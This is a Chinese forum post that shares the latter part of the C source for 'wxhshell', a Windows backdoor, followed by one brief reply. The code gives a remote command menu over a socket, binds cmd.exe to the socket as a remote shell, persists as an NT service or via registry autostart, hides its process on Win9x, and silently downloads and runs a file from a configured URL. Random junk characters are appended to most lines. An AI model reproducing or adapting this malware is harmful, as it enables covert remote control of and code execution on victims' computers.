  } PjkJsH  
  else { c}>p"  
" Q~-C|x  
    switch(cmd[0]) { z2lEHa?w  
  #E( n  
  // 帮助 \WeGO.i-  
  case '?': { yXx}'=&!0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qm\VZ<6/5  
    break; i`1QR@11  
  } G6b\4}E  
  // 安装 3%W R  
  case 'i': { L>mv\D;o.  
    if(Install()) ?g$dz?^CK&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9H<6k*  
    else LAwl9YnG:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "3i=kvdz  
    break; L@{5:#-  
    } g2<xr;<t^  
  // 卸载 Px)/`'D  
  case 'r': { xv{iWJcs  
    if(Uninstall()) 3Yd)Fm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H+>l][  
    else ZdD]l*.\i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i }5 #n  
    break; f}'E|:Z 7k  
    } n2+eC9I  
  // 显示 wxhshell 所在路径 :h&*<!O2B`  
  case 'p': { {]}}rx'|P  
    char svExeFile[MAX_PATH]; l%^'K%'b  
    strcpy(svExeFile,"\n\r"); c!BiGw,;  
      strcat(svExeFile,ExeFile); /L1qdkG  
        send(wsh,svExeFile,strlen(svExeFile),0); .hCOi<wB  
    break; :B<lDcFKJ  
    } 5"[Qs|VjA6  
  // 重启 &OiJJl[9  
  case 'b': { l }?'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UUx0#D/U0C  
    if(Boot(REBOOT)) }>w;(R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'lU9*e9  
    else { @,-xaZ[  
    closesocket(wsh); $e! i4pM  
    ExitThread(0); l\yFx  
    } U&6!2s-  
    break; B=/*8,u  
    } 8yH) 8:w  
  // 关机 bYEq`kjzc  
  case 'd': { }cll? 2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5 s>$  
    if(Boot(SHUTDOWN)) zX!zG<<K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > @ulvHL  
    else { ?.:C+*+  
    closesocket(wsh); L44-: 3  
    ExitThread(0); ]OoqU-q  
    } Aov=qLWJ  
    break; .! LOhZ  
    } :_tsS)Q2m  
  // 获取shell )ll`F7B-  
  case 's': { h{]l?6`  
    CmdShell(wsh); i%M2(8&^Q  
    closesocket(wsh); /0 ,#c2aq  
    ExitThread(0); %/H  
    break; @fp(uu  
  } bgd1j,PWbW  
  // 退出 B_[^<2_  
  case 'x': { 'Z-jj2t}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !V.'~xj  
    CloseIt(wsh); S)GWr"m-  
    break; f4zd(J  
    } !9i,V{$c`"  
  // 离开 :<s)QD  
  case 'q': { +EcN[-~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Od'!v&  
    closesocket(wsh); ] w FFGy  
    WSACleanup(); 9[|Ql  
    exit(1); Pe/cwKCI  
    break; un[Z$moN"  
        } #5T+P8  
  } +"a . ,-f!  
  } <!&&Qd-d6H  
DL2gui3  
  // 提示信息 ;KmSz 1A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); POc< G^  
} S@zsPzw  
  } '?_;s9)  
gQ*0Mk  
  return; r9G<HKl  
} )[6H!y5  
z4 8,{H6h  
// shell模块句柄 j3~:\H  
int CmdShell(SOCKET sock) JPgV7+{b[  
{ '1=t{Rw  
STARTUPINFO si; MZE8Cvq0  
ZeroMemory(&si,sizeof(si)); X#(?V[F]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x<"e} Oo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :a3Pnq$]E  
PROCESS_INFORMATION ProcessInfo; 5A /G?  
char cmdline[]="cmd"; }@}jwi)l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y1/$dn  
  return 0; A[Juv]X  
} p,@_A'  
&-9wU Z  
// 自身启动模式 rZ1${/6  
int StartFromService(void) iD_NpH q  
{ F`U%xn,  
typedef struct uU6+cDp  
{ iU{F\>  
  DWORD ExitStatus; c0u!V+V%  
  DWORD PebBaseAddress; f>5{SoM  
  DWORD AffinityMask; $\$5::}r  
  DWORD BasePriority; <O>r e3s  
  ULONG UniqueProcessId; 9>qR6k ?  
  ULONG InheritedFromUniqueProcessId; wa W2$9O  
}   PROCESS_BASIC_INFORMATION; A5+vzu^  
z:|4S@9  
PROCNTQSIP NtQueryInformationProcess; .wx; !9  
zO2Z\E'% .  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zo22se0)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nvxftbfE^D  
N9Yc\?_NU_  
  HANDLE             hProcess; JMpjiB,A}  
  PROCESS_BASIC_INFORMATION pbi; +%8c8]2  
;58l_ue  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  s6 w</  
  if(NULL == hInst ) return 0; Z6X?M&-Lz  
yEy} PCJ&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sq}hx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >"B95$x5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oKiBnj5J  
(J][(=s;a  
  if (!NtQueryInformationProcess) return 0; wnP#.[,V  
<Jo_f&&{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <n>Kc}c  
  if(!hProcess) return 0; bJ]g2C7`36  
+o!".Hp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4\Y2{Z>P?  
b|wCR%  
  CloseHandle(hProcess); f$NudG!S  
n!&DLB1z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k(><kuJ`3  
if(hProcess==NULL) return 0; 2r"-X  
6?Rm>+2>v  
HMODULE hMod; 'u{m37ZJ  
char procName[255]; uY,&lX+!  
unsigned long cbNeeded; m]+g[L?-  
oJUVW"X6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "44VvpQC  
0ho+Y@8  
  CloseHandle(hProcess); pRD8/7@(B{  
 "C B*  
if(strstr(procName,"services")) return 1; // 以服务启动 @/ wJW``;  
( N~[sf?&  
  return 0; // 注册表启动 +y>D3I  
} eR D?O  
A /,7%bB1  
// 主模块 wZ,9~P 7  
int StartWxhshell(LPSTR lpCmdLine) ^vLHs=<  
{ OnC|9  
  SOCKET wsl; ]ZelB,7q  
BOOL val=TRUE; _0 USe  
  int port=0; (01M0b#  
  struct sockaddr_in door; ~C{d2i  
bPAp0}{Fu  
  if(wscfg.ws_autoins) Install(); :O{`!&[>L  
*{P"u(K  
port=atoi(lpCmdLine); -wy$ ?Ha  
k+{ -iPm{  
if(port<=0) port=wscfg.ws_port; >o>r@;  
T/V8&'^i  
  WSADATA data; gd R wh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^TJn&k  
YW}q@AY7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KRf$VbuL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t]#y} V  
  door.sin_family = AF_INET; h-=3 b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =da_zy  
  door.sin_port = htons(port); WQ<J<$$uu  
{ ,/mQ3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3 ~0Z.!O  
closesocket(wsl); a=&a)FR  
return 1; z[B*sbS  
} QDRSQ[\  
^!L'Ao y;E  
  if(listen(wsl,2) == INVALID_SOCKET) { Ka&[ Oz<w  
closesocket(wsl); q%w\UAqA  
return 1; W^i ct,t  
} nKp='>Th  
  Wxhshell(wsl); Vz!W(+  
  WSACleanup(); xI55pj*  
 H`G[QC  
return 0; DF-`nD  
SG2s!Ht  
} ~EG`[cv  
{O*WLZ{0  
// 以NT服务方式启动 "GEJ9_a[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M%7{g"J*  
{ 9Ruj_U  
DWORD   status = 0; ;"hED:z6%  
  DWORD   specificError = 0xfffffff; +u#;k!B/>  
,OsFv}v7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YgNt>4K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^]3Y11sI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sWP5=t(i+9  
  serviceStatus.dwWin32ExitCode     = 0; Yj|Oy  
  serviceStatus.dwServiceSpecificExitCode = 0; Cb7f-Eag  
  serviceStatus.dwCheckPoint       = 0; tI|?k(D  
  serviceStatus.dwWaitHint       = 0; K4YpE}]u  
'due'|#^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dj'aWyW'  
  if (hServiceStatusHandle==0) return; \?{nP6=  
%|}obiV)  
status = GetLastError(); ,di'279|  
  if (status!=NO_ERROR)  ~Jrtm7  
{ cH?j@-pY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q"n*`#Yt'  
    serviceStatus.dwCheckPoint       = 0; @tWyc%t  
    serviceStatus.dwWaitHint       = 0; bYGK}:T8U  
    serviceStatus.dwWin32ExitCode     = status;  iUJqAi1o  
    serviceStatus.dwServiceSpecificExitCode = specificError; {5QIQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IqJ7'X  
    return; uIvy1h9m  
  } 0tv"tA;  
ce{(5IC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m_\w)  
  serviceStatus.dwCheckPoint       = 0; S Cs@Q  
  serviceStatus.dwWaitHint       = 0; T3,"g=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2`tdH|Z`  
} >j5) MF{"  
%Sr/'7 K  
// 处理NT服务事件,比如:启动、停止 4n @}X-)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zV_U/]y  
{ 'VcZ_m:  
switch(fdwControl) [,Q(~Qb  
{ !qsk;Vk7Z  
case SERVICE_CONTROL_STOP: s!esk%h{K  
  serviceStatus.dwWin32ExitCode = 0; !'o5X]s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z{s&myd  
  serviceStatus.dwCheckPoint   = 0; Y u\<  
  serviceStatus.dwWaitHint     = 0; la:i!q AH  
  { D7H,49#1Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @d]I3?`  
  } 1OJD!juL$  
  return; / PDe<p  
case SERVICE_CONTROL_PAUSE: S C7Tp4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kwU~kcM  
  break; rxH*h`Xx@  
case SERVICE_CONTROL_CONTINUE: 3e4; '5q;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e6f:@ O?  
  break; 8d|omqe~P  
case SERVICE_CONTROL_INTERROGATE: *{8<4CVv  
  break; bCr) 3,  
}; _xT=AF9~o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S*-n%D0q5  
} ,e{(r0  
83~ Gu[  
// 标准应用程序主函数 DG,CL8bv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V#["Z}  
{ \]ouQR.t@\  
z/6/   
// 获取操作系统版本 {U1 j@pKm  
OsIsNt=GetOsVer(); gKy@$at&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VU3xP2c:  
l!CWE  
  // 从命令行安装 px;5X4U  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6X2>zUHR  
gDE',)3Q,  
  // 下载执行文件 _Mq0QQ42  
if(wscfg.ws_downexe) { 2c`m8EaJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vH/ z|<  
  WinExec(wscfg.ws_filenam,SW_HIDE); :9un6A9JS  
} Y [Jt+p]  
UmYReF<<_  
if(!OsIsNt) { :+,>0%  
// 如果时win9x,隐藏进程并且设置为注册表启动 |M]#D0v  
HideProc(); wv0d"PKTS  
StartWxhshell(lpCmdLine); SFCKD/8  
} to{/@^ D  
else 0f~7n*XH  
  if(StartFromService()) u=NpL^6s<  
  // 以服务方式启动 2<HG=iSf  
  StartServiceCtrlDispatcher(DispatchTable); Z0*Lm+d9z  
else d#P3 <  
  // 普通方式启动 CBw/a0Uck  
  StartWxhshell(lpCmdLine); EV{kd.=f  
'{=dEEi  
return 0; 1-[~}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八